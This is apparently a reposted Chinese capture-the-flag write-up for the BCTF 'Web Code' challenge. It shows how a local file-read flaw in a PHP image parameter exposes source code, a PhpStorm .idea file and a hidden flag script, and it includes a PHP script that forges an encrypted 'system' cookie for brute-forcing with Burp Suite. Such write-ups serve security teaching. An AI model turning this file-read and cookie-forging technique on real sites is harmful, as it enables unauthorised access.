BCTF Web Code–考脑洞,你能过么?

BCTF Web Code–考脑洞,你能过么?

 

1)打开链接,是一张图片

根据URL特点推断可能是有文件包含漏洞

2) 将jpg参数修改成index.php,查看源代码,发现base64编码后的代码

3)解码后index.php的源码

<?php

/**

* Created by PhpStorm.

* Date: 2015/11/16

* Time: 1:31

*/

header('content-type:text/html;charset=utf-8');

if(! isset($_GET['jpg']))

header('Refresh:0;url=./index.php?jpg=hei.jpg');

$file = $_GET['jpg'];

echo '<title>file:'.$file.'</title>';

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);

$file = str_replace("config","_", $file);

$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*

* Can you find the flag file?

*

*/

 

?>

提到一个config,尝试访问config.php,没有用,返回内容为空

 

4)此题脑洞在于注释部分

 

Created by PhpStorm.

 

phpstorm会产生一个./idea文件,尝试访问 .idea/workspace.xml

 

得到另一个php文件

 

5)直接访问文件,没有可用信息

读取该文件,也没有可用信息

6)脑洞在于,根据config.php源码,对config进行了replace替换操作,逆向思维下将_编程config

fl3g_ichuqiu.php –> fl3gconfigichuqiu.php

读取文件,发现可以读到

7)base64解码后,得到源代码

<?php

/**

* Created by PhpStorm.

* Date: 2015/11/16

* Time: 1:31

*/

error_reporting(E_ALL || ~E_NOTICE);

include('config.php');

function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {

$hash = '';

$max = strlen($chars) - 1;

for($i = 0; $i < $length; $i++) {

$hash .= $chars[mt_rand(0, $max)];

}

return $hash;

}

function encrypt($txt,$key){

for($i=0;$i<strlen($txt);$i++){

$tmp .= chr(ord($txt[$i])+10);

}

$txt = $tmp;

$rnd=random(4);

$key=md5($rnd.$key);

$s=0;

for($i=0;$i<strlen($txt);$i++){

if($s == 32) $s = 0;

$ttmp .= $txt[$i] ^ $key[++$s];

}

return base64_encode($rnd.$ttmp);

}

function decrypt($txt,$key){

$txt=base64_decode($txt);

$rnd = substr($txt,0,4);

$txt = substr($txt,4);

$key=md5($rnd.$key);

 

$s=0;

for($i=0;$i<strlen($txt);$i++){

if($s == 32) $s = 0;

$tmp .= $txt[$i]^$key[++$s];

}

for($i=0;$i<strlen($tmp);$i++){

$tmp1 .= chr(ord($tmp[$i])-10);

}

return $tmp1;

}

$username = decrypt($_COOKIE['user'],$key);

if ($username == 'system'){

echo $flag;

}else{

setcookie('user',encrypt('guest',$key));

echo "╮(╯▽╰)╭";

}

?>

根据源代码得到加密和解密算法,当输入的cookie[user]经过解密算法得到system时,可以输出flag的值

 

8)根据encrypt算法,需要计算出$key的值,然后用在decrypt中,根据算法写出解密算法

<?php

function ss($txt,$m){

for($i=0;$i<strlen($m);$i++){

$tmp .= chr(ord($m[$i])+10);

}

$m=$tmp;

$tmp='';

$txt=base64_decode($txt);

$rnd = substr($txt,0,4);

$txt = substr($txt,4);

for($i=0;$i<strlen($txt);$i++){

$key .= $txt[$i] ^ $m[$i];

}

$s='0123456789abcdef';

$txt1='system';

for($i=0;$i<strlen($txt1);$i++){

$tmp .= chr(ord($txt1[$i])+10);

}

$txt1=$tmp;

$tmp='';

for($i=0;$i<16;$i++){

$tmp = $key.$s[$i];

for($ii=0;$ii<strlen($txt1);$ii++){

$txt2 .= $txt1[$ii] ^ $tmp[$ii];

}

echo base64_encode($rnd.$txt2).'</br>';

$txt2='';

}

}

ss('Nmo1ehccWERM','guest');

?>

9)首先访问链接得到user的cookie值

然后将cookie值作为参数带入解密算法中,计算得到

10)将这16个值作为burpsuite爆破的对象,进行爆破,得到flag

原文地址:https://www.cnblogs.com/pa-pa-pa/p/6278331.html